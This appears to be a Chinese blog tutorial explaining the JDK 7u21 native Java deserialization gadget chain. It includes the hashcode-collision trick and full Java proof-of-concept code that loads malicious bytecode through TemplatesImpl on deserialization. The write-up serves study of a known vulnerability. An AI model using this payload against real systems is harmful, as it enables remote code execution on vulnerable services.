java原生链利用

java原生链利用

在上一个文章中我们利用Java原生链进行shiro的无依赖利用;

针对在没有第三方库的时候,我们该如何进行java反序列化;

确实存在一条不依赖第三方库的java反序列化利用链;但它适用于jdk7u21;

原理:

我们都知道在java反序列化中最核心的地方在于最后可以触发动态命令执行的地方;

比如cc链中的transform链和是TemplatesImp的动态加载字节码;

其实从广义上来说反序列化最终目的是为了触发 "我们可以进行的一些"操作";

命令执行是一种目的 urldns链也是一种目的,最终都是通过反序列化的一系列触发来达到我们要实现的目的;也就是漏洞利用的目的;

简单来说,如果最终目的是进行文件读取,就找到可以文件读取的地方;通过路径回溯,拼接然后通过java反序列串联这个路径最终达到文件读取的目的

但大多数java反序列化和命令执行是绕不开的,正因为它足够自由,在一定的限度下允许我们最大限度的拼接;最后达到命令执行的目的;

在jdk7u21这条链中的最终目的也是命令执行;

那么该怎么达到这个目的呢?

既然是原生链;我们会找一些原生类中的触发命令执行的地方

这个路径依赖于到AnnotationInvocationHandler类的equalsImpl方法;

源码如下

java 复制代码
  private Boolean equalsImpl(Object var1) {
        if (var1 == this) {
            return true;
        } else if (!this.type.isInstance(var1)) {
            return false;
        } else {
            for(Method var5 : this.getMemberMethods()) {
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);
                    } catch (InvocationTargetException var11) {
                        return false;
                    } catch (IllegalAccessException var12) {
                        throw new AssertionError(var12);
                    }
                }

                if (!memberValueEquals(var7, var8)) {
                    return false;
                }
            }

            return true;
        }
    }

从代码中!this.type.isInstance(var1)可以知道当type是接口时,会进入else;会通过type.getDeclaredMethods() 遍历type接口的所有方法;

代码中 AnnotationInvocationHandler var9 = this.asOneOfUs(var1);是判断是否是实现了AnnotationInvocationHandler接口的 注解类,是就进行强制转换不是就返回null

当type不是实现了AnnotationInvocationHandler接口的注解类时返回null,调用 var5.invoke(var1);

所以当type = Templates.class(非实现了AnnotationInvocationHandler接口的非注解接口)时:

遍历返回的就是接口中声明的两个方法:

  1. newTransformer()
  2. getOutputProperties()

也就是说,当 var1 是恶意构造的 TemplatesImpl 对象时,反射调用其 newTransformer()getOutputProperties() 会触发字节码加载。

我们知道在 type是作为 注解类参数存在的,因此要想触发equalsImpl 方法中的遍历必须让注解类参数为Templates.class

也就是

java 复制代码
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

那么如何调用equalsImpl方法并自动触发呢?

我们在AnnotationInvocationHandler的invoke方法发现调用了equalsImpl方法

invoke方法我们知道在在cc1链的lazymap版本中是关键一环;

回顾之前的内容

AnnotationInvocationHandler是一个InvocationHandler的实现类;

可以作为动态代理的"处理器"

而我们都知道InvocationHandler是一个接口,他只有一个方法就是invoke:

java 复制代码
public interface InvocationHandler {
     public Object invoke(Object proxy, Method method, Object[] args)
     throws Throwable;
}

当 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到这个InvocationHandler的invoke方法

而AnnotationInvocationHandler是它的实现类,当使用AnnotationInvocationHandler作为处理器时;就会执行到AnnotationInvocationHandler的invoke方法

这就是代理转发;简单来说就是使用InvocationHandler处理器处理被代理类的方法;

事实上这里代理类型和实现的接口并不重要;关键是转发;因为equal是Object中的方法,所有的类都继承这个方法;只需要proxy是一个接口类型即可

也就是说:动态代理对象的 equals() 方法被调用时,会路由到 AnnotationInvocationHandler.invokeequalsImpl

java 复制代码
package org.com.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
    public static void main(String[] args) throws Exception {

        //动态字节码部分
        byte[] code=  Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());



        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");
        Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
        Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);

        proxy.equals(templates);
 
    }
    private static void setFieldValue(Object obj, String fieldName, Object value)
            throws Exception {

        Class<?> clazz = obj.getClass();
        Field field = null;

        // 循环查找字段(包括父类)
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException(fieldName);
        }

        field.setAccessible(true);
        field.set(obj, value);
    }
}

如何在反序列化中自动调用equals方法呢?

找到反序列化过程中自动调用了equals方法的类,可以查找这个方法的用例(是在太多了);

所以猜测equals函数的类常常**会进行元素间的比较;**目的用于去重或者排序;

而去重我们自然而然可以想到 集合数据结构(元素之间不允许有重复)set ->hashset,有关的还有hashtable,hashmap

它们的底层其实都是hashmap,为了避免hash冲突,hashmap的底层又被设计成数组+链表;

数组的每一个元素都是一个链表,当数组的key经过hashcode计算发生冲突时,会通过链表插入冲突的key 也就是key1,key2这样;

在其源码reobject方法中我们可看到它的源码中使用hashmap的 map.put对key进行去重操作

我们发现当实例化对象是LinkeHashset时,map的值为LinkeHashset否则为HashMap

我们跟进put方法(jdk7u21)

我们希望 key.equals值为 templates(上文中的字节码对象),我们可以看到k的值来源于e.key,当key==e.key时 ;e来源于数组中已经存在的键值;

table[i];而i=hash;也就是说 templates的值==e.key时触发;而e.key是有遍历table[i]中得来;

因此触发条件是发生hash冲突也就是,处于数组的同一条链表上;

因此我们就需要构造与templates hash值相等的对象;

我们构造proxy对象和templates对象的hash相等

我们可以看到hash的值来源于hashcode,我们只需要让两者的hashcode相等

但TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的;所以想让proxy的 hashCode() 与之相等,只能寄希望于proxy.hashCode()

而在反序列化过程中,调用proxy.hashCode()会调用AnnotationInvocationHandler的invoke,从而调用 hashcodeImpl()

我们跟进hashcodeImpl源码

java 复制代码
  private int hashCodeImpl() {
        int var1 = 0;

        for(Map.Entry var3 : this.memberValues.entrySet()) {
            var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());
        }

        return var1;
    }

这段代码会遍历map数组所有的元素的keu和value;

但当只有一个key和value的时候就只计算一次

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue());

但我们知道0异或任何 数,是任何数,取key.hashcode=0时

var1就会只取value.hashcode的值;

当value.hashcode为TemplateImpl值时,proxy的hash=TemplateImpl的hash

因此我们构造一个key.hashcode=0的对象作为proxy.key(var3.getKey())的值,TemplateImpl对象作为proxy.value(var3.getValue())的值

二者hashcode就相等了

找一个hashCode是0的对象,我们可以写一个简单的爆破程序来实现:

java 复制代码
public static void bruteHashCode()
{
   for (long i = 0; i < 9999999999L; i++) {
     if (Long.toHexString(i).hashCode() == 0) {
        System.out.println(Long.toHexString(i));
      }
   }
}

最后得到字符串

f5a5a608

payload

java 复制代码
package org.com.cc;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;


import java.nio.file.Files;
import java.nio.file.Paths;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;
public class jdk7u21 {
    public static void main(String[] args) throws Exception {

        //动态字节码部分
        byte[] code=  Files.readAllBytes(Paths.get("E:\\java学习\\cc1\\src\\main\\java\\org\\com\\cc\\evil.class"));//从文件中加载,加载恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{code});
        setFieldValue(templates,"_name","Hello");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());



        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "123");
        Class clazz=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Templates.class, map);
       Map proxy = (Map) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Map.class}, tempHandler);

       // proxy.equals(templates);
       HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);
        System.out.println(proxy.hashCode()==templates.hashCode());//此時二者相等
        System.out.println(map.hashCode()==proxy.hashCode());//此時二者相等
        System.out.println(templates.hashCode()==map.hashCode());//此時二者相等



        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(outputStream);
        oss.writeObject(set);
        oss.close();

      //  System.out.println(outputStream);

        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(outputStream.toByteArray()));
        Object object = objectInputStream.readObject();
    }
    private static void setFieldValue(Object obj, String fieldName, Object value)
            throws Exception {

        Class<?> clazz = obj.getClass();
        Field field = null;

        // 循环查找字段(包括父类)
        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException(fieldName);
        }

        field.setAccessible(true);
        field.set(obj, value);
    }
}

总结:这篇文章讲了java原生链的利用;

通过在AnnotationInvocationHandler中找到 equalsImpl方法发现 当type为非AnnotationInvocationHandler注解类接口时,会遍历传进来的非注解接口的方法;于是我们构造Templates类,发现在invoke中调用了这个方法,于是我们通过动态代理来代理让AnnotationInvocationHandler作为处理器,这样执行的方法就会转发给AnnotationInvocationHandler的invoke处理;我们发现当被代理类执行equals方法时就会执行invoke,但在无法显示执行时,我们在Hashset中发现进行了去重,在其map.put中调用了equals方法;且当两个对象的hashcode相等时触发equals方法;于是我们构造proxy的hashcode等于templates的hashcode也就是使用0异或任何数结果为0进行构造 得到f5a5a608的hashcode为0 ;调用map.put(zeroHashCodeStr, templates)使其相等;在反序列化进行去重计算的时候二者的hashcode相等;

流程梳理:

首先实例化一个templates类;

创建一个hashmap

使用AnnotationInvocationHandler进行包装 传入非AnnotationInvocationHandler注解类Template.class

使用动态代理,目的是触发AnnotationInvocationHandler->invoke->equalsImpl

新建 Hashset对象

添加两个对象templates ,proxy

map.put时会使两个对象的hashcode相等,原理是map是proxy的被代理对象,操作map相当于操作proxy,因此 map.put(zeroHashCodeStr, templates);就返回templates.hashcode=proxy.hashcode了;在反序列化时会再计算一次,发现两者相等触发equals,再触发invoke,触发equalsImpl;再触发invoke加载恶意字节码;

------------------------备注----------------------

参考 :p牛->知识星球->代码审计->java系列文章